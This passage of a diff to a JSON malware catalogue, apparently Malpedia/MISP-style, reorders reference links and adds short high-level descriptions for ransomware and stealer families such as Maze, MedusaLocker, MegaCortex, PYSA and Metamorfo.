"https://nakedsecurity.sophos.com/2020/06/04/nuclear-missile-contractor-hacked-in-maze-ransomware-attack/", - "https://news.sophos.com/en-us/2020/12/08/egregor-ransomware-mazes-heir-apparent/", + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://blog.sensecy.com/2020/08/20/global-ransomware-attacks-in-2020-the-top-4-vulnerabilities/", + "https://github.com/albertzsigovits/malware-notes/blob/master/Maze.md", + "https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/", + "https://twitter.com/certbund/status/1192756294307995655", + "https://intel471.com/blog/conti-ransomware-cooperation-maze-lockbit-ragnar-locker", "https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/", - "https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion", - "https://www.telsy.com/wp-content/uploads/Maze_Vaccine.pdf", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1", - "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", + "http://www.secureworks.com/research/threat-profiles/gold-village", + "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/escape-from-the-maze/", + "https://blog.talosintelligence.com/2020/09/CTIR-quarterly-trends-Q4-2020.html", + "https://github.com/albertzsigovits/malware-notes/blob/master/Ransomware/Maze.md", + "https://www.proofpoint.com/us/threat-insight/post/ta2101-plays-government-imposter-distribute-malware-german-italian-and-us", + "https://sites.temple.edu/care/ci-rw-attacks/", + "https://blogs.quickheal.com/maze-ransomware-continues-threat-consumers/", "https://www.bleepingcomputer.com/news/security/allied-universal-breached-by-maze-ransomware-stolen-data-leaked/", + "https://www.zataz.com/cyber-attaque-a-lencontre-des-serveurs-de-bouygues-construction/", "https://media-exp1.licdn.com/dms/document/C4E1FAQHyhJYCWxq5eg/feedshare-document-pdf-analyzed/0?e=1584129600&v=beta&t=9wTDR-mZPDF4ET7ABNgE2ab9g8e9wxQrhXsxI1cSX8U", + "https://blog.chainalysis.com/reports/ransomware-connections-maze-egregor-suncrypt-doppelpaymer", + "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", + "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/csi-evidence-indicators-for-targeted-ransomware-attacks-part-ii/", + "https://securelist.com/targeted-ransomware-encrypting-data/99255/", + "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", + "https://therecord.media/ransomwhere-project-wants-to-create-a-database-of-past-ransomware-payments/", + "https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf", + "https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-009/", + "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", + "https://blog.redteam.pl/2020/05/sodinokibi-revil-ransomware.html", + "https://www.bleepingcomputer.com/news/security/maze-ransomware-now-delivered-by-spelevo-exploit-kit/", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", + "https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/", + "https://securelist.com/maze-ransomware/99137/", + "https://www.bleepingcomputer.com/news/security/maze-ransomware-is-shutting-down-its-cybercrime-operation/", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf", + "https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/", + "https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-2/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://labs.sentinelone.com/enter-the-maze-demystifying-an-affiliate-involved-in-maze-snow/", + "https://www.telsy.com/wp-content/uploads/Maze_Vaccine.pdf", + "https://techcrunch.com/2020/03/26/chubb-insurance-breach-ransomware/", + "https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/", + "https://www.secureworks.com/research/threat-profiles/gold-village", + "https://www.bleepingcomputer.com/news/security/chipmaker-maxlinear-reports-data-breach-after-maze-ransomware-attack/", + "https://cocomelonc.github.io/tutorial/2021/09/06/simple-malware-av-evasion-2.html", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://securityaffairs.co/wordpress/127826/malware/egregor-sekhmet-decryption-keys.html", + "https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/", + "https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel", + "https://www.bleepingcomputer.com/news/security/it-services-giant-cognizant-suffers-maze-ransomware-cyber-attack/", + "https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide", + "https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-007/", + "https://krebsonsecurity.com/2019/12/ransomware-gangs-now-outing-victim-businesses-that-dont-pay-up/", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html", + "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", + "https://oag.ca.gov/system/files/Letter%204.pdf", + "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1", + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", + "https://www.zdnet.com/article/ransomware-gang-publishes-tens-of-gbs-of-internal-data-from-lg-and-xerox/", + "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", + "https://blog.talosintelligence.com/2019/12/IR-Lessons-Maze.html", + "https://www.bleepingcomputer.com/news/security/data-leak-marketplaces-aim-to-take-over-the-extortion-economy/", + "https://id-ransomware.blogspot.com/2019/05/chacha-ransomware.html", + "https://killbit.medium.com/applying-the-diamond-model-to-cognizant-msp-and-maze-ransomware-and-a-policy-assessment-498f01bd723f", + "https://web.archive.org/save/https://news.cognizant.com/2020-04-18-cognizant-security-update", "https://www.trendmicro.com/en_us/research/20/l/the-impact-of-modern-ransomware-on-manufacturing-networks.html", "https://news.sophos.com/en-us/2020/09/22/mtr-casebook-blocking-a-15-million-maze-ransomware-attack/", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/543/original/CTIR_casestudy_1.pdf", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://therecord.media/ransomwhere-project-wants-to-create-a-database-of-past-ransomware-payments/", + "https://nakedsecurity.sophos.com/2020/06/04/nuclear-missile-contractor-hacked-in-maze-ransomware-attack/", + "https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/", + "https://www.docdroid.net/dUpPY5s/maze.pdf", + "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://adversary.crowdstrike.com/adversary/twisted-spider/", + "https://www.bleepingcomputer.com/news/security/maze-ransomware-behind-pensacola-cyberattack-1m-ransom-demand/", + "https://labs.sentinelone.com/case-study-catching-a-human-operated-maze-ransomware-attack-in-action/", + "https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion", + "https://download.bitdefender.com/resources/files/News/CaseStudies/study/318/Bitdefender-TRR-Whitepaper-Maze-creat4351-en-EN-GenericUse.pdf", + "https://blog.minerva-labs.com/egregor-ransomware-an-in-depth-analysis", + "https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html", "https://www.bleepingcomputer.com/news/security/crytek-confirms-egregor-ransomware-attack-customer-data-theft/", - "https://oag.ca.gov/system/files/Letter%204.pdf" + "https://news.sophos.com/en-us/2020/12/08/egregor-ransomware-mazes-heir-apparent/", + "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", + "https://www.cityofpensacola.com/DocumentCenter/View/18879/Deloitte-Executive-Summary-PDF", + "https://statescoop.com/baltimore-ransomware-crowdstrike-extortion/", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/", + 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"https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-2/", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", + "https://cloudsek.com/technical-analysis-of-medusalocker-ransomware/", + "https://www.theta.co.nz/news-blogs/cyber-security-blog/part-2-analysing-medusalocker-ransomware/", + "https://twitter.com/siri_urz/status/1215194488714346496?s=20", + "http://id-ransomware.blogspot.com/2019/10/medusalocker-ransomware.html", "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1", - "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-181A_stopransomware_medusalocker.pdf", + "https://www.bleepingcomputer.com/news/security/march-2023-broke-ransomware-attack-records-with-459-incidents/", + "https://www.cybereason.com/blog/medusalocker-ransomware", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-2/", + "https://dissectingmalwa.re/try-not-to-stare-medusalocker-at-a-glance.html", + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", "https://www.mandiant.com/resources/chasing-avaddon-ransomware", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-181a", + "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", + "https://www.carbonblack.com/2020/06/03/tau-threat-analyis-medusa-locker-ransomware/", + "https://blog.cyble.com/2023/03/15/unmasking-medusalocker-ransomware/", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-181A_stopransomware_medusalocker.pdf", "https://blog.talosintelligence.com/2020/04/medusalocker.html", "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", - "https://id-ransomware.blogspot.com/2020/01/ako-ransomware.html", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", - "https://www.cybereason.com/blog/medusalocker-ransomware", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", - "https://www.theta.co.nz/news-blogs/cyber-security-blog/part-1-analysing-medusalocker-ransomware/", - "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", - "https://www.bleepingcomputer.com/news/security/march-2023-broke-ransomware-attack-records-with-459-incidents/", - "https://cloudsek.com/technical-analysis-of-medusalocker-ransomware/", - "https://twitter.com/siri_urz/status/1215194488714346496?s=20" + "https://www.theta.co.nz/news-blogs/cyber-security-blog/part-1-analysing-medusalocker-ransomware/" ], "synonyms": [ "AKO Doxware", @@ -33154,32 +34707,46 @@ "uuid": "77e7221f-d3db-4d13-bcde-e6d7a494f424", "value": "MedusaLocker" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.meduza", + "https://russianpanda.com/2023/06/28/Meduza-Stealer-or-The-Return-of-The-Infamous-Aurora-Stealer/", + "https://www.zerofox.com/blog/the-underground-economist-volume-3-issue-12/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "20edd63e-d1a8-4aae-a0a6-50f5bb1cf65f", + "value": "Meduza Stealer" + }, { "description": "Megacortex is a ransomware used in targeted attacks against corporations.\r\nOnce the ransomware is run it tries to stop security related services and after that it starts its own encryption process adding a .aes128ctr or .megac0rtx extension to the encrypted files. It is used to be carried from downloaders and trojans, it has no own propagation capabilities.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.megacortex", - "https://www.computing.co.uk/ctg/news/3084818/warning-over-lockergoga-and-megacortex-ransomware-attacks-targeting-private-industry-in-western-countries", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/csi-evidence-indicators-for-targeted-ransomware-attacks-part-ii/", - "https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", - "https://www.bleepingcomputer.com/news/security/new-megacortex-ransomware-changes-windows-passwords-threatens-to-publish-data/", "https://news.sophos.com/en-us/2019/05/10/megacortex-deconstructed-mysteries-mount-as-analysis-continues/", - "https://news.sophos.com/en-us/2019/05/03/megacortex-ransomware-wants-to-be-the-one/", - "https://threatpost.com/megacortex-ransomware-mass-distribution/146933/", + "https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot", + "https://www.bleepingcomputer.com/news/security/new-megacortex-ransomware-changes-windows-passwords-threatens-to-publish-data/", + "https://blog.malwarebytes.com/detections/ransom-megacortex/", + "https://www.bleepingcomputer.com/news/security/elusive-megacortex-ransomware-found-here-is-what-we-know/", + "https://www.bleepingcomputer.com/news/security/fbi-issues-alert-for-lockergoga-and-megacortex-ransomware/", + "https://www.bleepingcomputer.com/news/security/bitdefender-releases-free-megacortex-ransomware-decryptor/", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/incident-response-polar-ransomware-apt27/", + "https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-transnaczionalne-zlochinne-ugrupovannya-u-nanesenni-inozemnim-kompaniyam-120-miljoniv-dolariv-zbitkiv/", + "https://www.computing.co.uk/ctg/news/3084818/warning-over-lockergoga-and-megacortex-ransomware-attacks-targeting-private-industry-in-western-countries", "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", "https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/incident-response-polar-ransomware-apt27/", "https://www.europol.europa.eu/newsroom/news/12-targeted-for-involvement-in-ransomware-attacks-against-critical-infrastructure", "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", "https://www.trendmicro.com/vinfo/pl/security/news/cybercrime-and-digital-threats/megacortex-ransomware-spotted-attacking-enterprise-networks", - "https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-transnaczionalne-zlochinne-ugrupovannya-u-nanesenni-inozemnim-kompaniyam-120-miljoniv-dolariv-zbitkiv/", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", - "https://www.bleepingcomputer.com/news/security/elusive-megacortex-ransomware-found-here-is-what-we-know/", + "https://threatpost.com/megacortex-ransomware-mass-distribution/146933/", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/csi-evidence-indicators-for-targeted-ransomware-attacks-part-ii/", "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://blog.malwarebytes.com/detections/ransom-megacortex/", - "https://www.bleepingcomputer.com/news/security/bitdefender-releases-free-megacortex-ransomware-decryptor/", - "https://www.bleepingcomputer.com/news/security/fbi-issues-alert-for-lockergoga-and-megacortex-ransomware/" + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://news.sophos.com/en-us/2019/05/03/megacortex-ransomware-wants-to-be-the-one/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf" ], "synonyms": [], "type": [] @@ -33192,8 +34759,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.megacreep", - "https://www.bleepingcomputer.com/news/security/hacking-group-polonium-uses-creepy-malware-against-israel/", - "https://www.welivesecurity.com/2022/10/11/polonium-targets-israel-creepy-malware/" + "https://www.welivesecurity.com/2022/10/11/polonium-targets-israel-creepy-malware/", + "https://www.bleepingcomputer.com/news/security/hacking-group-polonium-uses-creepy-malware-against-israel/" ], "synonyms": [], "type": [] @@ -33206,8 +34773,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.megumin", - "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", - "https://fumik0.com/2019/05/03/lets-nuke-megumin-trojan/" + "https://fumik0.com/2019/05/03/lets-nuke-megumin-trojan/", + "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145" ], "synonyms": [], "type": [] @@ -33220,15 +34787,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mekotio", + "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/rooty-dolphin-uses-mekotio-to-target-bank-clients-in-south-america-and-europe/", + "https://www.welivesecurity.com/2020/08/13/mekotio-these-arent-the-security-updates-youre-looking-for/", + "http://www.interior.gob.es/prensa/noticias/-/asset_publisher/GHU8Ap6ztgsg/content/id/13552853", "https://twitter.com/hpsecurity/status/1509185858146082816", - "https://threatresearch.ext.hp.com/wp-content/uploads/2022/05/HP-Wolf-Security-Threat-Insights-Report-Q1-2022.pdf", + "https://therecord.media/spain-arrests-16-for-distributing-the-mekotio-and-grandoreiro-banking-trojans/", "https://www.microsoft.com/security/blog/2021/11/11/html-smuggling-surges-highly-evasive-loader-technique-increasingly-used-in-banking-malware-targeted-attacks/", "https://research.checkpoint.com/2021/mekotio-banker-returns-with-improved-stealth-and-ancient-encryption/", - "https://www.welivesecurity.com/2020/08/13/mekotio-these-arent-the-security-updates-youre-looking-for/", - "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/rooty-dolphin-uses-mekotio-to-target-bank-clients-in-south-america-and-europe/", "https://www.advintel.io/post/economic-growth-digital-inclusion-specialized-crime-financial-cyber-fraud-in-latam", - "http://www.interior.gob.es/prensa/noticias/-/asset_publisher/GHU8Ap6ztgsg/content/id/13552853", - "https://therecord.media/spain-arrests-16-for-distributing-the-mekotio-and-grandoreiro-banking-trojans/" + "https://threatresearch.ext.hp.com/wp-content/uploads/2022/05/HP-Wolf-Security-Threat-Insights-Report-Q1-2022.pdf" ], "synonyms": [], "type": [] @@ -33250,7 +34817,7 @@ "value": "Melcoz" }, { - "description": "Ransomware, based on leaked Conti source code.", + "description": "According to PCrisk, MEOW is ransomware based on other ransomware called CONTI. MEOW encrypts files and appends the \".MEOW\" extension to their filenames. It also drops the \"readme.txt\" file (a ransom note). An example of how MEOW ransomware modifies filenames: it renames \"1.jpg\" to \"1.jpg.MEOW\", \"2.png\" to \"2.png.MEOW\", and so forth.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.meow", @@ -33276,6 +34843,19 @@ "uuid": "5fa45856-2960-47c4-ad73-df0ff142ae12", "value": "MercurialGrabber" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.merdoor", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lancefly-merdoor-zxshell-custom-backdoor" + ], + "synonyms": [], + "type": [] + }, + "uuid": "bf604927-77df-46e5-9bdb-ee9b631461a2", + "value": "Merdoor" + }, { "description": "Merlin is a cross-platform post-exploitation HTTP/2 Command & Control server and agent written in golang.", "meta": { @@ -33297,37 +34877,37 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mespinoza", - "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://www.prodaft.com/m/reports/PYSA_TLPWHITE_3.0.pdf", - "http://www.secureworks.com/research/threat-profiles/gold-burlap", - "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", - "https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/", - "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", - "https://twitter.com/inversecos/status/1456486725664993287", - "https://www.ic3.gov/Media/News/2021/210316.pdf", - "https://dissectingmalwa.re/another-one-for-the-collection-mespinoza-pysa-ransomware.html", - "https://www.lacework.com/blog/pysa-ransomware-gang-adds-linux-support/", - "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", - "https://twitter.com/campuscodi/status/1347223969984897026", - "https://blog.cyble.com/2021/11/29/pysa-ransomware-under-the-lens-a-deep-dive-analysis/", - "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", - "https://www.sentinelone.com/blog/from-the-front-lines-peering-into-a-pysa-ransomware-attack/", - "https://blogs.blackberry.com/en/2021/06/pysa-loves-chachi-a-new-golang-rat", - "https://www.bleepingcomputer.com/news/security/ransomware-gangs-script-shows-exactly-the-files-theyre-after/", - "https://www.cybereason.com/blog/threat-analysis-report-inside-the-destructive-pysa-ransomware", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", - "https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/", - "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", - "https://www.prodaft.com/resource/detail/pysa-ransomware-group-depth-analysis", - "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", - "https://id-ransomware.blogspot.com/2019/10/mespinoza-ransomware.html", - "https://securelist.com/modern-ransomware-groups-ttps/106824/", "https://www.cert.ssi.gouv.fr/cti/CERTFR-2020-CTI-002/", + "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", + "https://securelist.com/modern-ransomware-groups-ttps/106824/", + "https://www.cybereason.com/blog/threat-analysis-report-inside-the-destructive-pysa-ransomware", + "https://blogs.blackberry.com/en/2021/06/pysa-loves-chachi-a-new-golang-rat", + "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", + "https://twitter.com/inversecos/status/1456486725664993287", "https://www.zdnet.com/article/france-warns-of-new-ransomware-gang-targeting-local-governments/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://www.hhs.gov/sites/default/files/mespinoza-goldburlap-cyborgspider-analystnote-tlpwhite.pdf", - "https://unit42.paloaltonetworks.com/gasket-and-magicsocks-tools-install-mespinoza-ransomware/" + "https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/", + "https://id-ransomware.blogspot.com/2019/10/mespinoza-ransomware.html", + "https://blog.cyble.com/2021/11/29/pysa-ransomware-under-the-lens-a-deep-dive-analysis/", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", + "https://www.ic3.gov/Media/News/2021/210316.pdf", + "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", + "https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/", + "https://twitter.com/campuscodi/status/1347223969984897026", + "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://unit42.paloaltonetworks.com/gasket-and-magicsocks-tools-install-mespinoza-ransomware/", + "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", + "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", + "https://dissectingmalwa.re/another-one-for-the-collection-mespinoza-pysa-ransomware.html", + "http://www.secureworks.com/research/threat-profiles/gold-burlap", + "https://www.sentinelone.com/blog/from-the-front-lines-peering-into-a-pysa-ransomware-attack/", + "https://www.bleepingcomputer.com/news/security/ransomware-gangs-script-shows-exactly-the-files-theyre-after/", + "https://www.prodaft.com/resource/detail/pysa-ransomware-group-depth-analysis", + "https://www.prodaft.com/m/reports/PYSA_TLPWHITE_3.0.pdf", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.lacework.com/blog/pysa-ransomware-gang-adds-linux-support/" ], "synonyms": [ "pysa" @@ -33357,15 +34937,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.metaljack", - "https://go.recordedfuture.com/hubfs/reports/cta-2020-1110.pdf", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://blog.viettelcybersecurity.com/apt32-deobfuscation-arsenal-deobfuscating-mot-vai-loai-obfucation-toolkit-cua-apt32-phan-1/", "https://www.fireeye.com/blog/threat-research/2020/04/apt32-targeting-chinese-government-in-covid-19-related-espionage.html", "https://ti.qianxin.com/blog/articles/coronavirus-analysis-of-global-outbreak-related-cyber-attacks/", - "https://www.secrss.com/articles/17900", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", "https://www.youtube.com/watch?v=ftjDH65kw6E", - "https://blog.viettelcybersecurity.com/apt32-deobfuscation-arsenal-deobfuscating-mot-vai-loai-obfucation-toolkit-cua-apt32-phan-1/", + "https://s.tencent.com/research/report/944.html", "https://m.threatbook.cn/detail/2527", - "https://s.tencent.com/research/report/944.html" + "https://go.recordedfuture.com/hubfs/reports/cta-2020-1110.pdf", + "https://www.secrss.com/articles/17900" ], "synonyms": [ "denesRAT" @@ -33376,21 +34956,22 @@ "value": "METALJACK" }, { - "description": "", + "description": "According to BitDefender, Metamorfo is a family of banker Trojans that has been active since mid-2018. It primarily targets Brazilians and is delivered mostly through Office files rigged with macros in spam attachments. Metamorfo is a potent piece of malware, whose primary capability is theft of banking information and other personal data from the user and exfiltration of it to the C2 server.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.metamorfo", - "https://blog.talosintelligence.com/2018/11/metamorfo-brazilian-campaigns.html", - "https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors", - "https://twitter.com/MsftSecIntel/status/1418706916922986504", - "https://www.bitdefender.com/files/News/CaseStudies/study/333/Bitdefender-PR-Whitepaper-Metamorfo-creat4500-en-EN-GenericUse.pdf", - "https://github.com/jeFF0Falltrades/IoCs/blob/master/Broadbased/metamorfo.md", "https://blog.ensilo.com/metamorfo-avast-abuser", - "https://cofense.com/blog/autohotkey-banking-trojan/", - "https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767", - "https://www.advintel.io/post/economic-growth-digital-inclusion-specialized-crime-financial-cyber-fraud-in-latam", + "https://blog.talosintelligence.com/2018/11/metamorfo-brazilian-campaigns.html", + "https://www.bitdefender.com/files/News/CaseStudies/study/333/Bitdefender-PR-Whitepaper-Metamorfo-creat4500-en-EN-GenericUse.pdf", "https://www.botconf.eu/wp-content/uploads/2019/12/B2019-Soucek-Hornak-DemystifyingBankingTrojansFromLatinAmerica.pdf", - "https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html" + "https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767", + "https://twitter.com/MsftSecIntel/status/1418706916922986504", + "https://cofense.com/blog/autohotkey-banking-trojan/", + "https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerou", + "https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html", + "https://github.com/jeFF0Falltrades/IoCs/blob/master/Broadbased/metamorfo.md", + "https://www.advintel.io/post/economic-growth-digital-inclusion-specialized-crime-financial-cyber-fraud-in-latam", + "https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors" ], "synonyms": [ "Casbaneiro" @@ -33401,16 +34982,16 @@ "value": "Metamorfo" }, { - "description": "On March 7, 2022, KELA observed a threat actor named _META_ announcing the launch of META – a new information-stealing malware, available for sale for USD125 per month or USD1000 